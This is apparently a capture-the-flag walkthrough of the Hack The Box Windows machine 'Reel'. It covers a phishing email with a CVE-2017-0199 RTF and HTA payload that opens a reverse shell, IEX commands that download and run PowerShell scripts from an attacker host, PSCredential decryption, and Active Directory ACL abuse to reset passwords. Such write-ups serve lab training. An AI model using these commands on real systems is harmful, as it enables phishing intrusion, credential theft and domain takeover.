**Reel**

Difficulty: Hard

OS: Windows

**Nmap**

|  |
| --- |

**Enumeration**

FTP has anonymous login enabled.

|  |
| --- |

Going into “documents” we find a couple files. We grab all of them off the ftp server and put them on our local machine.

|  |
| --- |

Looking at these files, we can only open “readme” immediately. It contains a hint that we need to send an email to someone - thus phishing.

|  |
| --- |

The other files are “docx” format, something only windows can open. Before we do anything with that, we run a metadata tool called **exiftool** which grabs some simple information off the document for us to view. In there we find the MIME Type of the document along with the creator’s email. Lucky for us, SMTP is open to use this information.

| *exiftool Windows\ Event\ Forwarding.docx* |
| --- |

**Email Foothold - User**

To confirm if this email is valid, we are going to telnet to port 25 SMTP and send some requests. Doing so validates the email.

|  |
| --- |

**NOTE:** this could be used to enumerate users if we had a script

This comes directly from Ippsec where he shows how to tell if a user is running Microsoft Word to open a document or not. He inserts an image that links back to his local machine. If Word is used, then a request is made to his python http server for the image, but if not then Word was not used.

|  |
| --- |

Going back, the readme file contained information stating a “rtf” file needed to be sent. Therefore it would be best to research rtf exploits. Doing so leads us to a github that creates malicious rtf documents.

| *https://github.com/bhdresh/CVE-2017-0199* |
| --- |

The tool above provides a rtf document with malicious intent. It does require another type of document called “HTA” or “SCT” to grab from our local machine.

Using this tool, we generate an rtf file linking to a to-be-made hta file.

|  |
| --- |

Nishang apparently has a script to generate a HTA payload file. Looking at the script, we see an example command which can help us.

|  |
| --- |

We are going to need a powershell instance on our kali, or else go outside the VM and do this. Performing a quick google search, kali linux has a page on installing powershell. Following this, we do get powershell on our local machine. Now that we have this, we copy the contents of the powershell script to create a HTA file into powershell and execute the desired function from above. To copy, we use xclip.

| *xclip -sel c < Out-HTA.ps1*  *Out-HTA -PayloadUrl http://10.10.14.34/exp.ps1* |
| --- |

Upon execution, we receive a file called “WinDef\_WebInstall.hta”. The script “exp.ps1” is going to be our standard nishang Invoke-PowerShellTcp.ps1 but renamed. Furthermore, we are going to rename “WindDef” to “kek.hta” so we do not have to type as much.

Taking all of this together, we set up a python web server and then send an email to “nico@megabank.htb”, the email we found and verified earlier. If everything goes correctly, then we receive a shell back.

| *sendemail -f kek@kek.com -t nico@megabank.com -u RTF -m "Convert this file" -a kek.rtf -s 10.10.10.77* |
| --- |

**NOTE:** “-f” is ‘from’, “-t” is ‘to’, “-u” is the subject, “-m” is the message, “-a” is the attachment, and “-s” is the place where the email is going.

In the end, we receive a reverse shell back to us.

|  |
| --- |

**Privilege Escalation**

Some enumeration we can do

| *Get-AppLockerPolicy -Effective -xm*  *Get-Service | where {$\_.Status -eq "running" }* |
| --- |

Exploring Nico’s desktop, we find a file called ‘cred.xml” which contains a username and an encoded password

|  |
| --- |

Doing a quick google search on what the encoding is on this string, we research “system management automation pscredential decrypt” and find a small tutorial on how to decrypt this powershell encrypted password.

|  |
| --- |

Following this with the password we found, we successfully decrypt Tom’s password, but now we need to put it into a powershell object to actually view it.

| *$enc = “INSERT ENCRYPTED PASS”*  *$pass = ConvertTo-SecureString -string $enc*  *$pass* |
| --- |

To properly view the password, we make a new object and “format list” it. We end with the password “**1ts-mag1c**!!!”

| *$user = "HTB\Tom"*  *$cred = New-Object System.Management.Automation.PScredential($user, $pass)*  *$cred | fl* |
| --- |

We can then log into Tom’s account through SSH. There, we find the remnants of a bloodhound audit claiming there are no vectors from Tom to domain administrator. Therefore we leave Tom’s account alone and go back to Nico to run Bloodhound.

We first copy bloodhound (sharphound.ps1) to our local directory.

|  |
| --- |

Then we set up a python server for the windows machine to grab and run sharphound.

| *IEX(new-object net.webclient).downloadstring('*[*http://10.10.14.34:8000/SharpHound.ps1*](http://10.10.14.34:8000/SharpHound.ps1)*')*  *Invoke-Bloodhound -CollectionMethod All* |
| --- |

With bloodhound complete, we need to get the zip file onto our local machine. To do this fast, we set up a smbserver on our machine. This will allow the target machine to put files on our machine.

| **HOST:** *Smbserver.py share $(pwd)*  ***TARGET:*** *Net use z: \\10.10.14.34\share*  *Copy \*.zip z:* |
| --- |

Now that we have all our bloodhound information in one place, we can start Neo4j and the bloodhound console.

|  |
| --- |

Going through bloodhound, there is no obvious path to domain admin from the users we have - nico and tom. However, we do see there is a way for Tom to modify user Claire who is a Backup\_admin, a custom role for the server. Additionally, Nico can do the same to the user Herman. This is interesting since backups usually mean passwords. We will attempt this route. Bloodhound recommends the best way to do this is through “powerview” which is a feature of “powersploit”

| *IEX(new-object net.webclient).downloadstring('http://10.10.14.34:8000/PowerView.ps1')* |
| --- |

The above will automatically load the script into play

Now that we have PowerView, we can commence the exploit. We are going to take control of Herman through Nico and reset his password.

| *$pass = ConvertTo-SecureString 'Kek1234!' -AsPlainText -Force*  *Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico*  *Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose*  *Set-DomainUserPassword Herman -AccountPassword $pass -Verbose* |
| --- |

Attempting to log in as Herman after resetting his password provides a success

|  |
| --- |

Now with Herman, we are going to add the “Backup\_Admins” group to him so he can then look at and abuse backups.

| *$cred = New-Object System.Management.Automation.PSCredential('HTB\Herman', $pass)*  *Add-DomainGroupMember -Identity 'Backup\_Admins' -Members Herman -Credential $cred* |
| --- |

NOTE: $pass is reused

SSH-ing in as Herman, we find ourselves now with “Backup\_Admin” privileges.

Going to the administrator directory, we see root.txt, but are unable to read it. In the same directory is “backup scripts”. In here are scripts and some backup information. If we parse this information, we actually find the administrator password.

| *Type \* | finder pass* |
| --- |

Using SSH, we are able to log in as admin!

|  |
| --- |

**Notes**

You can easily fingerprint a linux or windows box by pinging it and looking at the “TTL” response (time to live).

127 = windows

64 = linux

254 = Cisco

Anything else = probably linux

|  |
| --- |